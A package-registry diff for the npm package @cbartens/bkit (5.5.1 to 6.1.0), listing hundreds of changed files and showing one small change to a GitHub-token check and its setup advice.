@cbartens/bkit 5.5.1 → 6.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (425) hide show
  1. package/.bkit/README.md +167 -154
  2. package/.bkit/core/.agents/context.md +95 -29
  3. package/.bkit/core/.agents/docs.md +18 -15
  4. package/.bkit/core/.agents/plugins/bkit/hooks/bkit-gateguard.cjs +1 -0
  5. package/.bkit/core/.agents/plugins/bkit/hooks/bkit-guardrails.cjs +6 -5
  6. package/.bkit/core/.agents/plugins/bkit/hooks/bkit-readguard.cjs +1 -0
  7. package/.bkit/core/.agents/plugins/bkit/hooks/bkit-rules.cjs +65 -0
  8. package/.bkit/core/.agents/rules.md +112 -102
  9. package/.bkit/core/.agents/skills.md +63 -15
  10. package/.bkit/core/.bkit/README.md +167 -154
  11. package/.bkit/core/.bkit/authoring.md +747 -0
  12. package/.bkit/core/.bkit/cli.md +407 -0
  13. package/.bkit/core/.bkit/cloud.md +283 -195
  14. package/.bkit/core/.bkit/comparison.md +45 -43
  15. package/.bkit/core/.bkit/install.md +166 -95
  16. package/.bkit/core/.bkit/jsonl.md +339 -196
  17. package/.bkit/core/.bkit/pipeline.md +142 -145
  18. package/.bkit/core/.bkit/prompts.md +295 -264
  19. package/.bkit/core/.bkit/providers.md +460 -277
  20. package/.bkit/core/.bkit/router.md +69 -0
  21. package/.bkit/core/.bkit/templates.md +530 -256
  22. package/.bkit/core/.bkit/trackers.md +116 -65
  23. package/.bkit/core/.bkit/workflows.md +742 -618
  24. package/.bkit/core/.claude/hooks/bkit-gateguard.cjs +2 -2
  25. package/.bkit/core/.claude/hooks/bkit-guardrails.cjs +3 -3
  26. package/.bkit/core/.claude/hooks/bkit-preflight.sh +45 -14
  27. package/.bkit/core/.codex/hooks/bkit-guardrails.cjs +3 -3
  28. package/.bkit/core/.codex/hooks/bkit-rules.cjs +57 -0
  29. package/.bkit/core/.cursor/hooks/bkit-guardrails.cjs +7 -7
  30. package/.bkit/core/.cursor/hooks/bkit-preflight.sh +47 -12
  31. package/.bkit/core/.opencode/plugin/bkit-rules.js +89 -0
  32. package/.bkit/core/AGENTS.md +6 -80
  33. package/.bkit/core/docs/templates/bkit-audit-accessibility.md +128 -130
  34. package/.bkit/core/docs/templates/bkit-audit-adoption.md +104 -94
  35. package/.bkit/core/docs/templates/bkit-audit-agents.md +96 -98
  36. package/.bkit/core/docs/templates/bkit-audit-aio-seo.md +100 -103
  37. package/.bkit/core/docs/templates/bkit-audit-analytics.md +141 -107
  38. package/.bkit/core/docs/templates/bkit-audit-annotations.md +99 -97
  39. package/.bkit/core/docs/templates/bkit-audit-app-performance.md +122 -121
  40. package/.bkit/core/docs/templates/bkit-audit-app-store.md +158 -101
  41. package/.bkit/core/docs/templates/bkit-audit-architecture.md +114 -96
  42. package/.bkit/core/docs/templates/bkit-audit-ci-performance.md +76 -97
  43. package/.bkit/core/docs/templates/bkit-audit-config.md +123 -101
  44. package/.bkit/core/docs/templates/bkit-audit-cost.md +86 -99
  45. package/.bkit/core/docs/templates/bkit-audit-coverage.md +76 -93
  46. package/.bkit/core/docs/templates/bkit-audit-database.md +102 -95
  47. package/.bkit/core/docs/templates/bkit-audit-dead-code.md +165 -108
  48. package/.bkit/core/docs/templates/bkit-audit-deferrals.md +115 -109
  49. package/.bkit/core/docs/templates/bkit-audit-dependencies.md +265 -113
  50. package/.bkit/core/docs/templates/bkit-audit-documentation.md +119 -118
  51. package/.bkit/core/docs/templates/bkit-audit-duplication.md +140 -111
  52. package/.bkit/core/docs/templates/bkit-audit-failures.md +111 -106
  53. package/.bkit/core/docs/templates/bkit-audit-flakes.md +100 -99
  54. package/.bkit/core/docs/templates/bkit-audit-gates.md +107 -103
  55. package/.bkit/core/docs/templates/bkit-audit-issues.md +105 -105
  56. package/.bkit/core/docs/templates/bkit-audit-llm.md +134 -85
  57. package/.bkit/core/docs/templates/bkit-audit-logs.md +124 -125
  58. package/.bkit/core/docs/templates/bkit-audit-models.md +99 -78
  59. package/.bkit/core/docs/templates/bkit-audit-privacy.md +56 -76
  60. package/.bkit/core/docs/templates/bkit-audit-prompts.md +63 -78
  61. package/.bkit/core/docs/templates/bkit-audit-red-team.md +125 -93
  62. package/.bkit/core/docs/templates/bkit-audit-reliability.md +97 -96
  63. package/.bkit/core/docs/templates/bkit-audit-repo.md +170 -98
  64. package/.bkit/core/docs/templates/bkit-audit-security.md +207 -121
  65. package/.bkit/core/docs/templates/bkit-audit-slop.md +78 -95
  66. package/.bkit/core/docs/templates/bkit-audit-testing.md +163 -139
  67. package/.bkit/core/docs/templates/bkit-audit-usability.md +114 -96
  68. package/.bkit/core/docs/templates/bkit-plan.md +158 -281
  69. package/.bkit/core/engine/checks/after/auth.ts +40 -37
  70. package/.bkit/core/engine/checks/after/ci-yml.ts +104 -31
  71. package/.bkit/core/engine/checks/after/github.ts +95 -17
  72. package/.bkit/core/engine/checks/after/index.ts +21 -8
  73. package/.bkit/core/engine/checks/after/suppression.ts +8 -5
  74. package/.bkit/core/engine/checks/after/tools.ts +125 -123
  75. package/.bkit/core/engine/checks/before/context-fetch.ts +227 -33
  76. package/.bkit/core/engine/checks/before/env.ts +3 -3
  77. package/.bkit/core/engine/checks/before/files.ts +5 -4
  78. package/.bkit/core/engine/checks/before/index.ts +25 -1
  79. package/.bkit/core/engine/checks/before/repo.ts +208 -2
  80. package/.bkit/core/engine/checks/status-holes.ts +916 -123
  81. package/.bkit/core/engine/checks/tips/catalogue.ts +82 -20
  82. package/.bkit/core/engine/checks/tips/detect.ts +66 -0
  83. package/.bkit/core/engine/checks/tips/index.ts +52 -11
  84. package/.bkit/core/engine/cli.ts +251 -130
  85. package/.bkit/core/engine/commands/analysis.ts +282 -199
  86. package/.bkit/core/engine/commands/ci/ci.ts +363 -29
  87. package/.bkit/core/engine/commands/ci/pins.ts +172 -0
  88. package/.bkit/core/engine/commands/ci/push-gate.ts +223 -0
  89. package/.bkit/core/engine/commands/comply.ts +77 -103
  90. package/.bkit/core/engine/commands/install/doctor.ts +2 -2
  91. package/.bkit/core/engine/commands/install/install.ts +57 -18
  92. package/.bkit/core/engine/commands/install/uninstall.ts +86 -55
  93. package/.bkit/core/engine/commands/install/upgrade.ts +32 -15
  94. package/.bkit/core/engine/commands/land.ts +139 -18
  95. package/.bkit/core/engine/commands/lib.ts +381 -22
  96. package/.bkit/core/engine/commands/registry.ts +10 -2
  97. package/.bkit/core/engine/commands/setup/setup.ts +8 -7
  98. package/.bkit/core/engine/commands/stats.ts +260 -0
  99. package/.bkit/core/engine/commands/tips.ts +10 -5
  100. package/.bkit/core/engine/commands/workflow/branches.ts +2215 -176
  101. package/.bkit/core/engine/commands/workflow/challenge.ts +748 -0
  102. package/.bkit/core/engine/commands/workflow/completeness.ts +109 -0
  103. package/.bkit/core/engine/commands/workflow/context.ts +1249 -47
  104. package/.bkit/core/engine/commands/workflow/counters.ts +483 -95
  105. package/.bkit/core/engine/commands/workflow/decisions.ts +585 -0
  106. package/.bkit/core/engine/commands/workflow/disk.ts +238 -56
  107. package/.bkit/core/engine/commands/workflow/fids.ts +811 -33
  108. package/.bkit/core/engine/commands/workflow/issues.ts +413 -64
  109. package/.bkit/core/engine/commands/workflow/ledgers.ts +1333 -36
  110. package/.bkit/core/engine/commands/workflow/locks.ts +28 -2
  111. package/.bkit/core/engine/commands/workflow/plan-blocks.ts +691 -0
  112. package/.bkit/core/engine/commands/workflow/plan-versions.ts +21 -0
  113. package/.bkit/core/engine/commands/workflow/plans.ts +257 -0
  114. package/.bkit/core/engine/commands/workflow/prs.ts +178 -33
  115. package/.bkit/core/engine/commands/workflow/repo.ts +66 -8
  116. package/.bkit/core/engine/commands/workflow/roadmap.ts +72 -22
  117. package/.bkit/core/engine/commands/workflow/run-facts.ts +492 -0
  118. package/.bkit/core/engine/commands/workflow/runs.ts +827 -79
  119. package/.bkit/core/engine/commands/workflow/runtime.ts +25 -1
  120. package/.bkit/core/engine/commands/workflow/skills.ts +1 -0
  121. package/.bkit/core/engine/commands/workflow/status.ts +329 -33
  122. package/.bkit/core/engine/commands/workflow/step-table.ts +381 -0
  123. package/.bkit/core/engine/commands/workflow/steps.ts +841 -105
  124. package/.bkit/core/engine/commands/workflow/summary-findings.ts +177 -0
  125. package/.bkit/core/engine/commands/workflow/summary.ts +544 -0
  126. package/.bkit/core/engine/commands/workflow/tasks.ts +409 -0
  127. package/.bkit/core/engine/commands/workflow/test-blocks.ts +254 -0
  128. package/.bkit/core/engine/commands/workflow/tests-changed.ts +201 -0
  129. package/.bkit/core/engine/commands/workflow/tests.ts +2124 -330
  130. package/.bkit/core/engine/commands/workflow/tracker.ts +1195 -0
  131. package/.bkit/core/engine/commands/workflow/workflows.ts +1197 -235
  132. package/.bkit/core/engine/commands/workflow/worktrees.ts +543 -24
  133. package/.bkit/core/engine/install/cloud-env.ts +251 -121
  134. package/.bkit/core/engine/install/context-ci-workflow.ts +102 -0
  135. package/.bkit/core/engine/install/manifest.ts +67 -17
  136. package/.bkit/core/engine/install/modules/antigravity.ts +3 -2
  137. package/.bkit/core/engine/install/modules/cloud.ts +24 -16
  138. package/.bkit/core/engine/install/modules/codex.ts +15 -2
  139. package/.bkit/core/engine/install/modules/core.ts +1196 -45
  140. package/.bkit/core/engine/install/modules/cursor.ts +6 -6
  141. package/.bkit/core/engine/install/modules/opencode.ts +18 -6
  142. package/.bkit/core/engine/install/template-notes.ts +130 -0
  143. package/.bkit/core/engine/install/version-file.ts +9 -4
  144. package/.bkit/core/engine/install/write.ts +5 -0
  145. package/.bkit/core/engine/ledgers/compact.ts +124 -0
  146. package/.bkit/core/engine/ledgers/journal.ts +291 -0
  147. package/.bkit/core/engine/ledgers/migrate.ts +92 -0
  148. package/.bkit/core/engine/ledgers/status.ts +249 -21
  149. package/.bkit/core/engine/ledgers/telemetry.ts +1397 -253
  150. package/.bkit/core/engine/render/hosts.ts +118 -14
  151. package/.bkit/core/engine/render/models.ts +12 -0
  152. package/.bkit/core/engine/shared/bkit-latest.ts +26 -4
  153. package/.bkit/core/engine/shared/branches.ts +4 -1
  154. package/.bkit/core/engine/shared/dep-updater.ts +60 -0
  155. package/.bkit/core/engine/shared/egress.ts +8 -1
  156. package/.bkit/core/engine/shared/json.ts +25 -7
  157. package/.bkit/core/engine/shared/package-manager.ts +9 -0
  158. package/.bkit/core/engine/shared/settings.ts +243 -31
  159. package/.bkit/core/engine/shared/text.ts +361 -0
  160. package/.bkit/core/engine/shared/timeouts.ts +2 -0
  161. package/.bkit/core/engine/tools/cli-doc.ts +111 -0
  162. package/.bkit/core/engine/tools/grammar-density.ts +215 -0
  163. package/.bkit/core/engine/tools/instructions-sources.ts +832 -0
  164. package/.bkit/core/engine/tools/instructions.ts +1802 -0
  165. package/.bkit/core/hooks/antigravity-hook.js +25 -10
  166. package/.bkit/core/hooks/gateguard-engine.js +54 -29
  167. package/.bkit/core/hooks/guardrails-shell.js +4 -5
  168. package/.bkit/core/hooks/guardrails-tiers.js +10 -4
  169. package/.bkit/core/hooks/preflight-linear.sh +9 -9
  170. package/.bkit/core/hooks/preflight-rules.sh +8 -0
  171. package/.bkit/core/hooks/readguard-engine.js +29 -10
  172. package/.bkit/core/hooks/session-rules-advisory.js +61 -0
  173. package/.bkit/core/prompts/bkit-audit-generate.md +202 -94
  174. package/.bkit/core/prompts/bkit-build-challenge-1.md +76 -34
  175. package/.bkit/core/prompts/bkit-build-challenge-2.md +85 -38
  176. package/.bkit/core/prompts/bkit-build-install-skills.md +50 -28
  177. package/.bkit/core/prompts/bkit-build-plan-convert.md +85 -0
  178. package/.bkit/core/prompts/bkit-build-plan-current.md +59 -36
  179. package/.bkit/core/prompts/bkit-build-plan-gaps-remediate.md +101 -36
  180. package/.bkit/core/prompts/bkit-build-plan-tasks.md +149 -0
  181. package/.bkit/core/prompts/bkit-build-plan-tests.md +120 -0
  182. package/.bkit/core/prompts/bkit-build-plan-verify.md +104 -43
  183. package/.bkit/core/prompts/bkit-debug-abort-handover.md +47 -32
  184. package/.bkit/core/prompts/bkit-debug-failure-diagnose.md +109 -57
  185. package/.bkit/core/prompts/bkit-debug-failure-remediate.md +65 -39
  186. package/.bkit/core/prompts/bkit-debug-failure-reproduce.md +53 -31
  187. package/.bkit/core/prompts/bkit-debug-failure-soak.md +65 -34
  188. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-1.md +46 -31
  189. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-2.md +45 -31
  190. package/.bkit/core/prompts/bkit-design-brainstorm-ideate-3.md +43 -30
  191. package/.bkit/core/prompts/bkit-design-generate.md +80 -46
  192. package/.bkit/core/prompts/bkit-design-organise.md +83 -32
  193. package/.bkit/core/prompts/bkit-design-review-1.md +70 -50
  194. package/.bkit/core/prompts/bkit-design-review-2.md +65 -46
  195. package/.bkit/core/prompts/bkit-design-spike.md +64 -40
  196. package/.bkit/core/prompts/bkit-design-update.md +53 -28
  197. package/.bkit/core/prompts/bkit-plan-generate.md +101 -29
  198. package/.bkit/core/prompts/bkit-plan-review-1.md +78 -41
  199. package/.bkit/core/prompts/bkit-plan-review-2.md +78 -35
  200. package/.bkit/core/prompts/bkit-plan-scope-check.md +116 -0
  201. package/.bkit/core/prompts/bkit-plan-update.md +86 -31
  202. package/.bkit/core/prompts/bkit-ship-conflict-resolve.md +94 -50
  203. package/.bkit/core/prompts/bkit-ship-deferred-sweep.md +91 -41
  204. package/.bkit/core/prompts/bkit-ship-update-docs.md +45 -24
  205. package/.bkit/core/prompts/bkit-utility-compress-markdown.md +65 -49
  206. package/.bkit/core/prompts/bkit-utility-update-decisions.md +87 -42
  207. package/.bkit/core/prompts/bkit-utility-update-deferrals.md +81 -37
  208. package/.bkit/core/prompts/bkit-utility-update-documentation.md +43 -25
  209. package/.bkit/core/prompts/bkit-utility-update-failures.md +84 -37
  210. package/.bkit/core/prompts/bkit-utility-update-knowledge.md +88 -42
  211. package/.bkit/core/prompts/bkit-utility-update-roadmap.md +92 -39
  212. package/.bkit/core/prompts/bkit-utility-update-tracker.md +159 -60
  213. package/.bkit/core/workflows/bkit-auto.md +89 -58
  214. package/.bkit/core/workflows/bkit-build.md +967 -517
  215. package/.bkit/core/workflows/bkit-debug.md +555 -387
  216. package/.bkit/core/workflows/bkit-design.md +319 -283
  217. package/.bkit/core/workflows/bkit-plan.md +319 -342
  218. package/.bkit/core/workflows/bkit-ship.md +525 -328
  219. package/.bkit/shared/.agents/plugins/bkit/hooks.json +10 -0
  220. package/.bkit/shared/.bkit/.env.example +2 -2
  221. package/.bkit/shared/.claude/bkit-cloud.md +12 -10
  222. package/.bkit/shared/.claude/settings.json +14 -0
  223. package/.bkit/shared/.codex/bkit-cloud.md +98 -0
  224. package/.bkit/shared/.codex/hooks.json +20 -0
  225. package/.bkit/shared/.cursor/bkit-cloud.md +3 -3
  226. package/.bkit/shared/.cursor/mcp.json +1 -1
  227. package/.bkit/shared/.cursor/rules/bkit-rules.mdc +1 -1
  228. package/.bkit/shared/.gitattributes +1 -1
  229. package/.bkit/shared/.mcp.json +1 -1
  230. package/.bkit/shared/.opencode/opencode.json +12 -1
  231. package/.bkit/shared/CLAUDE.md +6 -2
  232. package/.bkit/shared/GEMINI.md +5 -2
  233. package/.bkit/shared/docs/architecture.md +4 -7
  234. package/.bkit/shared/docs/data-schema.md +4 -7
  235. package/.bkit/shared/docs/deployments.md +241 -168
  236. package/.bkit/shared/docs/design.md +11 -12
  237. package/.bkit/shared/docs/noise.md +8 -7
  238. package/.bkit/shared/docs/observability.md +5 -8
  239. package/.bkit/shared/docs/security.md +35 -17
  240. package/.bkit/shared/docs/setup.md +29 -18
  241. package/.bkit/shared/docs/technology.md +3 -6
  242. package/.bkit/shared/docs/testing.md +289 -174
  243. package/.bkit/shared/gitignore +6 -2
  244. package/.bkit/templates/.claude/hooks/bkit-cloud-bootstrap.sh +15 -16
  245. package/.bkit/templates/.cursor/Dockerfile +12 -8
  246. package/.bkit/templates/.cursor/environment.json +1 -1
  247. package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-bug.yml +10 -8
  248. package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-change.yml +45 -12
  249. package/.bkit/templates/.github/ISSUE_TEMPLATE/bkit-idea.yml +3 -3
  250. package/.bkit/templates/.github/renovate.json5 +34 -6
  251. package/.bkit/templates/.github/workflows/bkit-ci.yml +54 -51
  252. package/.bkit/templates/.github/workflows/bkit-cloud.yml +34 -33
  253. package/.bkit/templates/.github/workflows/bkit-health.yml +97 -0
  254. package/.bkit/templates/.github/workflows/bkit-renovate.yml +5 -4
  255. package/.bkit/templates/.github/workflows/bkit-trivy.yml +5 -4
  256. package/.bkit/templates/.husky/pre-commit +2 -2
  257. package/.bkit/templates/.husky/pre-push +96 -36
  258. package/.bkit/templates/.prettierignore +6 -0
  259. package/.bkit/templates/.vale.ini +27 -27
  260. package/.bkit/templates/context/bkit-cloudrun.md +23 -15
  261. package/.bkit/templates/context/bkit-expo.md +70 -52
  262. package/.bkit/templates/context/bkit-github.md +93 -56
  263. package/.bkit/templates/context/bkit-inngest.md +21 -15
  264. package/.bkit/templates/context/bkit-maestro.md +22 -16
  265. package/.bkit/templates/context/bkit-playwright.md +23 -17
  266. package/.bkit/templates/context/bkit-resend.md +12 -10
  267. package/.bkit/templates/context/bkit-sentry.md +30 -20
  268. package/.bkit/templates/context/bkit-serena.md +8 -7
  269. package/.bkit/templates/context/bkit-stripe.md +14 -13
  270. package/.bkit/templates/context/bkit-supabase.md +16 -13
  271. package/.bkit/templates/context/bkit-tavily.md +14 -11
  272. package/.bkit/templates/context/bkit-vercel.md +27 -18
  273. package/.bkit/templates/docs/capabilities.md +15 -14
  274. package/.bkit/templates/scripts/ci/{check-accepted-divergences.mjs → bkit-check-accepted-divergences.mjs} +6 -3
  275. package/.bkit/templates/scripts/ci/{check-accepted-divergences.test.mjs → bkit-check-accepted-divergences.test.mjs} +3 -3
  276. package/.bkit/templates/scripts/ci/{check-capstone.mjs → bkit-check-capstone.mjs} +2 -2
  277. package/.bkit/templates/scripts/ci/{check-capstone.test.mjs → bkit-check-capstone.test.mjs} +4 -4
  278. package/.bkit/templates/scripts/ci/{check-dependency-audit.mjs → bkit-check-dependency-audit.mjs} +103 -18
  279. package/.bkit/templates/scripts/ci/{check-dependency-audit.test.mjs → bkit-check-dependency-audit.test.mjs} +31 -3
  280. package/.bkit/templates/scripts/ci/bkit-machine-lock.sh +387 -0
  281. package/.bkit/templates/scripts/ci/bkit-test-awake.mjs +75 -0
  282. package/.bkit/templates/scripts/ci/bkit-test-awake.test.mjs +160 -0
  283. package/.bkit/templates/scripts/ci/lanes/{resolve-push-base.mjs → bkit-resolve-push-base.mjs} +3 -3
  284. package/.bkit/templates/scripts/ci/lanes/{resolve-push-base.test.mjs → bkit-resolve-push-base.test.mjs} +4 -4
  285. package/.bkit/templates/scripts/cleanup/bkit-disk-prune.mjs +10 -2
  286. package/.bkit/templates/scripts/graphify/bkit-graph-drift.py +1 -1
  287. package/.bkit/templates/scripts/graphify/bkit-graph-eager.py +3 -3
  288. package/.bkit/templates/scripts/graphify/bkit-graph-embed.py +63 -0
  289. package/.bkit/templates/scripts/graphify/bkit-graph-imports.py +2 -2
  290. package/.bkit/templates/scripts/graphify/bkit-graph-pre-push.sh +69 -18
  291. package/.bkit/templates/scripts/graphify/bkit-graph-repair.py +3 -3
  292. package/.bkit/templates/scripts/graphify/bkit-graph-surface.py +1 -1
  293. package/.bkit/templates/scripts/graphify/bkit-graphify-graphml.py +1 -1
  294. package/.bkit/templates/scripts/graphify/bkit-graphify-rollup.py +197 -126
  295. package/.bkit/templates/scripts/graphify/bkit-graphify.sh +64 -41
  296. package/.bkit/templates/scripts/slop/bkit-slop-type-suppression.mjs +23 -7
  297. package/.bkit/templates/slop-scan.config.json +9 -2
  298. package/CHANGELOG.md +231 -0
  299. package/README.md +278 -89
  300. package/dist/checks/after/auth.js +36 -33
  301. package/dist/checks/after/ci-yml.js +91 -30
  302. package/dist/checks/after/github.js +91 -17
  303. package/dist/checks/after/index.js +22 -11
  304. package/dist/checks/after/suppression.js +8 -5
  305. package/dist/checks/after/tools.js +111 -114
  306. package/dist/checks/before/context-fetch.js +218 -33
  307. package/dist/checks/before/env.js +3 -3
  308. package/dist/checks/before/files.js +5 -3
  309. package/dist/checks/before/index.js +20 -3
  310. package/dist/checks/before/repo.js +197 -2
  311. package/dist/checks/status-holes.js +739 -114
  312. package/dist/checks/tips/catalogue.js +70 -19
  313. package/dist/checks/tips/detect.js +62 -0
  314. package/dist/checks/tips/index.js +51 -9
  315. package/dist/cli.js +234 -124
  316. package/dist/commands/analysis.js +174 -141
  317. package/dist/commands/ci/ci.js +302 -25
  318. package/dist/commands/ci/pins.js +142 -0
  319. package/dist/commands/ci/push-gate.js +194 -0
  320. package/dist/commands/comply.js +54 -91
  321. package/dist/commands/install/doctor.js +2 -2
  322. package/dist/commands/install/install.js +50 -19
  323. package/dist/commands/install/uninstall.js +82 -55
  324. package/dist/commands/install/upgrade.js +21 -11
  325. package/dist/commands/land.js +137 -17
  326. package/dist/commands/lib.js +295 -21
  327. package/dist/commands/registry.js +10 -2
  328. package/dist/commands/setup/setup.js +8 -7
  329. package/dist/commands/stats.js +175 -0
  330. package/dist/commands/tips.js +7 -3
  331. package/dist/commands/workflow/branches.js +1873 -152
  332. package/dist/commands/workflow/challenge.js +609 -0
  333. package/dist/commands/workflow/completeness.js +97 -0
  334. package/dist/commands/workflow/context.js +1045 -46
  335. package/dist/commands/workflow/counters.js +385 -86
  336. package/dist/commands/workflow/decisions.js +484 -0
  337. package/dist/commands/workflow/disk.js +214 -56
  338. package/dist/commands/workflow/fids.js +706 -33
  339. package/dist/commands/workflow/issues.js +349 -59
  340. package/dist/commands/workflow/ledgers.js +1123 -37
  341. package/dist/commands/workflow/locks.js +26 -2
  342. package/dist/commands/workflow/plan-blocks.js +501 -0
  343. package/dist/commands/workflow/plan-versions.js +22 -0
  344. package/dist/commands/workflow/plans.js +205 -0
  345. package/dist/commands/workflow/prs.js +154 -35
  346. package/dist/commands/workflow/repo.js +58 -8
  347. package/dist/commands/workflow/roadmap.js +58 -23
  348. package/dist/commands/workflow/run-facts.js +421 -0
  349. package/dist/commands/workflow/runs.js +670 -72
  350. package/dist/commands/workflow/runtime.js +15 -1
  351. package/dist/commands/workflow/skills.js +1 -0
  352. package/dist/commands/workflow/status.js +282 -34
  353. package/dist/commands/workflow/step-table.js +308 -0
  354. package/dist/commands/workflow/steps.js +703 -96
  355. package/dist/commands/workflow/summary-findings.js +117 -0
  356. package/dist/commands/workflow/summary.js +388 -0
  357. package/dist/commands/workflow/tasks.js +378 -0
  358. package/dist/commands/workflow/test-blocks.js +231 -0
  359. package/dist/commands/workflow/tests-changed.js +172 -0
  360. package/dist/commands/workflow/tests.js +1695 -305
  361. package/dist/commands/workflow/tracker.js +983 -0
  362. package/dist/commands/workflow/workflows.js +1014 -222
  363. package/dist/commands/workflow/worktrees.js +432 -26
  364. package/dist/install/cloud-env.js +233 -99
  365. package/dist/install/context-ci-workflow.js +85 -0
  366. package/dist/install/manifest.js +64 -17
  367. package/dist/install/modules/antigravity.js +3 -2
  368. package/dist/install/modules/cloud.js +25 -16
  369. package/dist/install/modules/codex.js +12 -2
  370. package/dist/install/modules/core.js +1090 -48
  371. package/dist/install/modules/cursor.js +6 -6
  372. package/dist/install/modules/opencode.js +13 -7
  373. package/dist/install/template-notes.js +116 -0
  374. package/dist/install/version-file.js +9 -4
  375. package/dist/ledgers/compact.js +87 -0
  376. package/dist/ledgers/journal.js +233 -0
  377. package/dist/ledgers/migrate.js +81 -0
  378. package/dist/ledgers/status.js +176 -13
  379. package/dist/ledgers/telemetry.js +1010 -125
  380. package/dist/render/hosts.js +104 -14
  381. package/dist/render/models.js +12 -0
  382. package/dist/shared/bkit-latest.js +26 -4
  383. package/dist/shared/branches.js +3 -1
  384. package/dist/shared/dep-updater.js +49 -0
  385. package/dist/shared/egress.js +8 -1
  386. package/dist/shared/json.js +20 -7
  387. package/dist/shared/package-manager.js +6 -0
  388. package/dist/shared/settings.js +181 -24
  389. package/dist/shared/text.js +333 -0
  390. package/dist/shared/timeouts.js +2 -0
  391. package/dist/tools/cli-doc.js +97 -0
  392. package/dist/tools/grammar-density.js +183 -0
  393. package/dist/tools/instructions-sources.js +720 -0
  394. package/dist/tools/instructions.js +1623 -0
  395. package/package.json +156 -51
  396. package/.bkit/core/.bkit/lite.md +0 -73
  397. package/.bkit/core/engine/commands/harvest.ts +0 -459
  398. package/.bkit/core/engine/commands/workflow/workstreams.ts +0 -166
  399. package/.bkit/core/engine/tools/wording.ts +0 -748
  400. package/.bkit/core/prompts/bkit-build-challenge-reconcile.md +0 -69
  401. package/.bkit/core/prompts/bkit-build-challenge-remediate.md +0 -71
  402. package/.bkit/core/prompts/bkit-build-challenge-tests.md +0 -74
  403. package/.bkit/core/prompts/bkit-build-plan-execute.md +0 -76
  404. package/.bkit/core/prompts/bkit-build-summary.md +0 -94
  405. package/.bkit/core/prompts/bkit-debug-summary.md +0 -96
  406. package/.bkit/core/prompts/bkit-design-summary.md +0 -107
  407. package/.bkit/core/prompts/bkit-plan-complexity-check.md +0 -67
  408. package/.bkit/core/prompts/bkit-plan-complexity-split.md +0 -88
  409. package/.bkit/core/prompts/bkit-plan-review-3.md +0 -93
  410. package/.bkit/core/prompts/bkit-plan-scope-check-1.md +0 -85
  411. package/.bkit/core/prompts/bkit-plan-scope-check-2.md +0 -85
  412. package/.bkit/core/prompts/bkit-plan-summary.md +0 -107
  413. package/.bkit/core/prompts/bkit-ship-summary.md +0 -78
  414. package/.bkit/templates/scripts/ci/bkit-local-stack-lock.sh +0 -194
  415. package/dist/commands/harvest.js +0 -353
  416. package/dist/commands/workflow/workstreams.js +0 -143
  417. package/dist/tools/wording.js +0 -680
  418. /package/.bkit/templates/.vale/styles/{House → Bkit}/Filler.yml +0 -0
  419. /package/.bkit/templates/.vale/styles/{House → Bkit}/Hedging.yml +0 -0
  420. /package/.bkit/templates/.vale/styles/{House → Bkit}/LLMSlop.yml +0 -0
  421. /package/.bkit/templates/.vale/styles/{House → Bkit}/Verbose.yml +0 -0
  422. /package/.bkit/templates/scripts/ci/{accepted-advisories.json → bkit-accepted-advisories.json} +0 -0
  423. /package/.bkit/templates/scripts/ci/{accepted-divergences.json → bkit-accepted-divergences.json} +0 -0
  424. /package/.bkit/templates/scripts/launchd/{launchd.env.example → bkit-launchd.env.example} +0 -0
  425. /package/.bkit/templates/scripts/launchd/{ai.bkit.launchd.plist → bkit-launchd.plist} +0 -0
@@ -4,7 +4,6 @@ import * as fs from "node:fs";
4
4
  import * as path from "node:path";
5
5
  import { spawnSync } from "node:child_process";
6
6
  import { readJsonFile } from "../../shared/json.js";
7
- import { readBkitConfig } from "../../shared/settings.js";
8
7
  /**
9
8
  * Detect whether BKIT_GH_TOKEN is set in the shell environment. Distinguishes
10
9
  * empty from unset so action text can guide the user precisely. Never reads the
@@ -55,7 +54,7 @@ export function detectGhMcpToken(cwd) {
55
54
  id: "gh-mcp-token-unset-shell",
56
55
  severity: "advisory",
57
56
  detect: "BKIT_GH_TOKEN is not set in the shell environment (undefined). The GitHub MCP server authenticates with `Authorization: Bearer ${BKIT_GH_TOKEN}` — without it, every tracker, PR, and board MCP call fails to connect.",
58
- action: "Set BKIT_GH_TOKEN in .bkit/.env (canonical local-secrets file, gitignored), then `direnv allow` and restart your editor so MCP servers pick it up:\n\n cp .bkit/.env.example .bkit/.env # if not already done\n # edit .bkit/.env — set BKIT_GH_TOKEN=<PAT>\n direnv allow\n\nUse a fine-grained PAT when every target repo sits under one owner (Contents, Pull requests, Issues, and Actions read & write, plus organization-scoped Projects read & write if you use board sync); use a classic PAT when one token must span owners (scopes repo / workflow / read:org / project / security_events). Generate at: https://github.com/settings/personal-access-tokens (fine-grained) or https://github.com/settings/tokens (classic). In cloud sessions (Claude Code web / Cursor Background Agents) set BKIT_GH_TOKEN in the dashboard env vars instead — repo files are not read for secrets there.",
57
+ action: "Set BKIT_GH_TOKEN in .bkit/.env (canonical local-secrets file, gitignored), then `direnv allow` and restart your editor so MCP servers pick it up:\n\n cp .bkit/.env.example .bkit/.env # if not already done\n # edit .bkit/.env — set BKIT_GH_TOKEN=<PAT>\n direnv allow\n\nUse a fine-grained PAT when every target repo sits under one owner (Contents, Pull requests, Issues, and Actions read & write, plus organization-scoped Projects read & write if you use board sync); use a classic PAT when one token must span owners (scopes repo / workflow / read:org / project / security_events). Generate at: https://github.com/settings/personal-access-tokens (fine-grained) or https://github.com/settings/tokens (classic). In cloud sessions (Claude Code web / Cursor Cloud Agents / Codex Cloud) set BKIT_GH_TOKEN in the dashboard env vars instead — repo files are not read for secrets there.",
59
58
  };
60
59
  }
61
60
  if (status === "empty") {
@@ -97,48 +96,52 @@ export function detectGhSecret(secretName) {
97
96
  return names.includes(secretName) ? "present" : "missing";
98
97
  }
99
98
  /**
100
- * Build the consolidated "three locations to sync secrets" advisory. Fires when
101
- * the consumer's repo has bkit-cloud.yml installed OR a
102
- * .claude/ or .cursor/ install present — both indicate cloud-side agent use,
103
- * which means the same three secrets need to be set in three places (GitHub
104
- * Actions, Cursor Settings online, Claude app web).
99
+ * Build the consolidated cloud-secrets checklist advisory. Fires when the consumer's
100
+ * repo has bkit-cloud.yml installed OR a `.claude/`, `.cursor/` or `.codex/` install
101
+ * present — each indicates cloud-side agent use. Lists one location per trigger present:
102
+ * GitHub Actions for the router, plus each installed host's cloud dashboard with its
103
+ * generated paste doc. Never depends on the issue tracker: every host's env block is the
104
